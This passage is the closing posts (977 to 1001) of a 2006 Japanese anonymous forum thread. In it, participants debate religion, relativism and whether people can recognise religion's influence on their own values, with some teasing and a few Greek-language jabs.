977 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:20:57 ID:aU8LljkQ: >>975
さすがですね。
私は、そんな冷静に判断できません。
というより、どうやって、このままぬくぬくとしてられるのか考えてる。
どうしたらいい？
978 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 21:23:22 ID:euFQHWP3: >>977
こちらの流れを維持したいのであれば、
別名でスレ立てたほうが良さそうですね…。

まぁ、多くの方が入ってきていただいたので、
２のほうでも十分意義があるのかもしれませんが、
あのままだと収拾つかなくなりますね＾－＾；
979 名前：192 ：2006/01/19(木) 21:28:02 ID:g5hMB7oV: >>976
本当に宗教を否定したいのなら、外側の宗教ではなく、
自分の内側にある宗教的なものをすべて否定すればいいのになぁ

>知りえることは出来るだけ知り、その中から選択しても、
>しらないまま否定するよりはましかなって程度ですけど。
これはどういう意味？
980 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:30:52 ID:aU8LljkQ: 個人的には、全然問題ないのですが、
いつか方向が戻る前に、死体がどれくらい転がることになるのか想像したくないし(^_^;)

収拾つけるような問題でもないような気が・・・・

それより、192さん、元気？
981 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 21:36:21 ID:euFQHWP3: >>979
それだけですよ。
今分かりうる条件をできるだけ知ってその選択肢を広げておくってだけです。
知らないまま、可能性を排除するって方が怖い…。
982 名前：192 ：2006/01/19(木) 21:40:24 ID:g5hMB7oV: >>977
どうしたらいいもなにも、「宗教否定者いらっしゃいとして」は「言葉だけの定義としては」あっちのほうが正しいｗ
本質はどこにある？

>>980
なんだ？元気でも元気でなくも無いが。
983 名前：192 ：2006/01/19(木) 21:42:20 ID:g5hMB7oV: >>981
そうか。「まし」という言葉をつかったから、「知りえることをできるだけ知る」こと以上の何かをほのめかしているのかと思った。
984 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:46:26 ID:aU8LljkQ: >>982
また、こんなときに本質論なんか持ち出して。
そもそも、本質論なんか持ち出すようなたまじゃないでしょうが。
まったく、意地悪な性格ですね(^_^;)
私は、あっちに移ること考えたら、そりゃあもう、ええ・・。
985 名前：名無しさん＠３周年 ：2006/01/19(木) 21:47:21 ID:a/n4hyT4: >>982
Είστε το αναίσθητο πρόσωπο. 哂
986 名前：192 ：2006/01/19(木) 21:50:52 ID:g5hMB7oV: とりあえず、あっちに燃料を投入してきた。
987 名前：名無しさん＠３周年 ：2006/01/19(木) 21:51:23 ID:/hs8iW0D: >>979
たくさん知識を蓄えておけば、選択できる。
知らないことはいっぱいありますから、時間を掛けてどんなことでも知っておく。
知らなかったら根拠のない否定、最悪、感情的な否定になりますから。
そういうことかもしれません。
988 名前：192 ：2006/01/19(木) 21:55:54 ID:g5hMB7oV: >>984
そういえば、お前は宗教否定論者だったよな、忘れてたが。
自分の価値判断への宗教的な価値の影響については意識しているか？
989 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:56:04 ID:aU8LljkQ: >>987
わっ、まともな意見。
あなた誰？
あちらにいらっしゃる方？
990 名前：192 ：2006/01/19(木) 21:57:48 ID:g5hMB7oV: >>987
ふむふむ。
知識の量で、根拠の無い否定、感情的な否定は回避できると思っているのか？
991 名前：　( ´,_ゝ｀) ：2006/01/19(木) 22:02:51 ID:aU8LljkQ: >>988
今日のみんなの話は難しすぎる。いつもこんなに難しいかった・・・(^_^;)
>自分の価値判断への宗教的な価値の影響については意識しているか？
それは、私がどれぐらい宗教的な影響を自覚してるかということ？
それとも、その逆？まあ、逆はありえないから、影響を受けてるかって事だよね。
自覚できたら、もっと明確に否定か肯定してるだろうね。
でも、なんでそんなこといま？
992 名前：192 ：2006/01/19(木) 22:06:45 ID:g5hMB7oV: >>991
宗教の定義なんぞと言う前に、自分のそれを自覚することが先だろ。
なんで今かはわかんない。
993 名前：　( ´,_ゝ｀) ：2006/01/19(木) 22:10:06 ID:aU8LljkQ: >>992
そんなこと自覚できる奴がいるの？
ほとんどの日本人は、まったく無自覚で宗教に触れてるでしょう。
そんな日本で、宗教の影響なんて知らないですよ。
まあ、もうこのスレ終わるしね。
わあ、なんかどうでもいいや(^_^;)
994 名前：192 ：2006/01/19(木) 22:12:27 ID:g5hMB7oV: >>993
>そんなこと自覚できる奴がいるの？

てめー、インチキ野郎とよぶぞ。
徹底的な相対主義者じゃなかったのか。
徹底的な猜疑主義者じゃないのか？
995 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 22:15:26 ID:euFQHWP3: 確かに、相対化できてればその影響はわかってるよねw
生活や法律にかなり溶け込んでますよね。宗教。

挨拶をすること一つをとってもも其れですよね。
996 名前：名無しさん＠３周年 ：2006/01/19(木) 22:16:58 ID:a/n4hyT4: >>994
Ο ψευδής! είστε! 哂
997 名前：192 ：2006/01/19(木) 22:18:33 ID:g5hMB7oV: 挨拶もそれなの？
儒教の呪術的な部分から来てるのかな？
998 名前： ◆6chHDqC6e6 ：2006/01/19(木) 22:18:52 ID:Yv6q/Dd3: >>966
それ、相手に通じているとお思いですか。
999 名前：　( ´,_ゝ｀) ：2006/01/19(木) 22:21:12 ID:aU8LljkQ: >>994
ごめん、主旨が見えないよ。
宗教の影響なんて、わからんだろう。
洗脳されてる人間は、自分が洗脳されてることは自覚できんだろう。
自分がどれくらい宗教の影響受けてるかなんて、自覚できんだろう。
逆に、聞きたいな？
自覚できるの？
1000 名前：名無しさん＠３周年 ：2006/01/19(木) 22:21:48 ID:a/n4hyT4: >>998
Είναι διαίσθηση 笑
1001 名前：１００１ ：Over 1000 Thread: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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